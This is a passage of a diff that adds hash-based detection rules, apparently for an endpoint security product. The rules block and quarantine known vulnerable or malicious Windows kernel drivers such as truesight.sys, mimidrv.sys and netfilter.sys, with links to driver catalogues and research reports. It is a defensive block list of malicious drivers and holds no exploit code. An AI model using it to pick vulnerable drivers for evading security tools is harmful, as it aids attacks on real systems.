+  "hl_testing_start_time": "2026-03-23T11:45:29.977179Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f4c7e94a7c2e49b130671b573a9e4ff4527a777978f371c659c3f97c14d126de",
+  "comment": "ASUS vulnerable VGA Kernel Mode Driver (aka EIO.sys) [https://www.loldrivers.io/drivers/f654ad84-c61d-477c-a0b2-d153b927dfcc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ab1e3ae-62ad-5cb0-969f-d240a36e541c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459957Z",
+  "creation_date": "2026-03-23T11:45:30.459960Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459969Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07fb2bb6c852f6a6fe982b2232f047e167be39738bac26806ffe0927ba873756",
+  "comment": "Vulnerable Kernel Driver (aka LgDataCatcher.sys) [https://www.loldrivers.io/drivers/5961e133-ccc3-4530-8f4f-5d975c41028d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ab44ddc-9a3e-569c-aca9-f2bf35d24ca3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478192Z",
+  "creation_date": "2026-03-23T11:45:30.478195Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478204Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5504258361f72faa2b35b15e0fd9edbcbcc30a4d99ef68a7805898cf75d8c809",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0abbcaed-d0c2-5422-a3b5-764e3ae004bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978958Z",
+  "creation_date": "2026-03-23T11:45:29.978960Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978966Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ff8fe4c220cf6416984b70a7e272006a018e5662da3cedc2a88efeb6411b4a4",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0abc5513-cce1-5994-95b2-8ef1fd4f3de5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480046Z",
+  "creation_date": "2026-03-23T11:45:30.480048Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480053Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce0a4430d090ba2f1b46abeaae0cb5fd176ac39a236888fa363bf6f9fd6036d9",
+  "comment": "Vulnerable Kernel Driver (aka iscflashx64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0abdc52b-4524-5d86-b58e-61d691799b48",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453941Z",
+  "creation_date": "2026-03-23T11:45:30.453952Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453961Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d5b270ac8ca4f87ba51eafb3b28102875bdbdde0f15520ec0a629d8a898c0b2e",
+  "comment": "Malicious Kernel Driver (aka 4118b86e490aed091b1a219dba45f332.sys) [https://www.loldrivers.io/drivers/b32d8d7d-0dc2-4d09-a306-8efc4caf1839/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0abe08e4-bbe8-598b-b0a7-d01a839cefc7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143169Z",
+  "creation_date": "2026-03-23T11:45:32.143171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f8168036d636aad1680dd0f577ef9532dbb2dad3591d63e752b0ba3ee6fd501",
+  "comment": "Vulnerable Kernel Driver (aka iQVW64.SYS) [https://www.loldrivers.io/drivers/4dd3289c-522c-4fce-b48e-5370efc90fa1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0abf7a43-0d01-5c5f-a670-01e7b01178cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967232Z",
+  "creation_date": "2026-03-23T11:45:29.967236Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967244Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ace242c-c291-52c6-9218-eb4d05d0d23c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141681Z",
+  "creation_date": "2026-03-23T11:45:31.141683Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141688Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13bce760077e9171b9ce3c04ecf999178cca7456cacb30ae70e2f0da2939e33c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0acf925f-7b9c-5aae-a581-8e4d8374d790",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143999Z",
+  "creation_date": "2026-03-23T11:45:32.144001Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144007Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "090d409f86430e078694e621ad0bd5e458d32aa727f0eb99bda3961577df8d49",
+  "comment": "Malicious Kernel Driver (aka driver_090d409f.sys) [https://www.loldrivers.io/drivers/00561455-9da1-4f0c-8564-e4c99b716a74/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ad25de3-42e4-5165-9468-25555dfb14c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809831Z",
+  "creation_date": "2026-03-23T11:45:31.809833Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809839Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d6fcd8ceb13d79b67277a41a45e0af208e8d3763c611f647e054921644627ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ada5fdd-b556-574e-894d-d4e0dc321647",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485384Z",
+  "creation_date": "2026-03-23T11:45:31.485388Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485398Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "41288baa8b002a997eee958b0bc3f4d1811e8b29befd4d5d694ad7e7cca62ccf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0adad9df-2fdc-5bb9-a33e-e291c3cee407",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827452Z",
+  "creation_date": "2026-03-23T11:45:30.827454Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827460Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43ed5171b0881504a3d6338d3edddc3fa5b3b64362433be60168be42595f2b8c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0af681cf-ec70-55d6-b437-484ffe78d7a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473446Z",
+  "creation_date": "2026-03-23T11:45:31.473450Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473459Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a163d95c4e3f7c10b60bb20ef5c8c9c875a022519e68a66a5c0fd7e80f2e0722",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0afa022e-4223-5b3b-9660-cd3a5f1f7eb3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.161092Z",
+  "creation_date": "2026-03-23T11:45:31.161095Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.161100Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "070c0221df7c5b6ecee15d8e4a354eac6f793bf3a49be4cd7f3eb739a140926b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0afebba7-2d4f-5a81-850b-5fe7c4829b83",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977764Z",
+  "creation_date": "2026-03-23T11:45:29.977766Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c54ffa9a32cd99972ca905dcf99e20f8429e3cfd45bc1ddf4f9af8b3ed688c88",
+  "comment": "Vulnerable Kernel Driver (aka Lv561av.sys) [https://www.loldrivers.io/drivers/47a351ee-8abe-40d8-bc2b-557390fa0945/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b0190e6-fdc3-58cf-8c99-9d7173a082fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980935Z",
+  "creation_date": "2026-03-23T11:45:29.980937Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980948Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a9b608461d55815e99700607a52fbdb7d598f968126d38e10cc4293ac4b1ad8",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b09e8b3-3288-533e-ad58-46806cdce39b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470311Z",
+  "creation_date": "2026-03-23T11:45:30.470314Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470323Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "09d6169da055725274a8c53c3139baff8ceef52346e5a910e735bb17f634f8bb",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b1c2827-3bb4-54db-ac4e-7ed3fb6a3c55",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495836Z",
+  "creation_date": "2026-03-23T11:45:31.495838Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495843Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d705fe962d99b56b8e2c9ceea176a6c78dbf609989a620a44bb3c17df8df8c0d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b1eae1c-6d25-5365-a14f-907dd470526f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968078Z",
+  "creation_date": "2026-03-23T11:45:29.968080Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8abf744f0cbf09d67afc5b7cc9d613e69c73a5c8a45bcd26cf6bcfd03c3515ac",
+  "comment": "Projector Rootkit malicious drivers (aka KB_VRX_deviced.sys) [https://twitter.com/struppigel/status/1551503748601729025] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b2286d0-418d-5bef-a6b6-3b1a4ffc4cda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809813Z",
+  "creation_date": "2026-03-23T11:45:31.809815Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809821Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3bcdbdcb40b10886b8357d0e92eb9c8ecc9ad35db08fc372dfdee1e743f31eff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b257322-3d83-521c-9c94-62f931995649",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143130Z",
+  "creation_date": "2026-03-23T11:45:31.143132Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143138Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91163c36f5c9baa0b832df6a9ca6577b2745f482e3a3bae520cf963de493acc8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b29ef05-d328-55a3-8939-f2220f879c94",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140583Z",
+  "creation_date": "2026-03-23T11:45:31.140585Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140590Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0edfecc24165a608260dd483d90d59aab016649b3f8f95131a8c8fa88e73a684",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
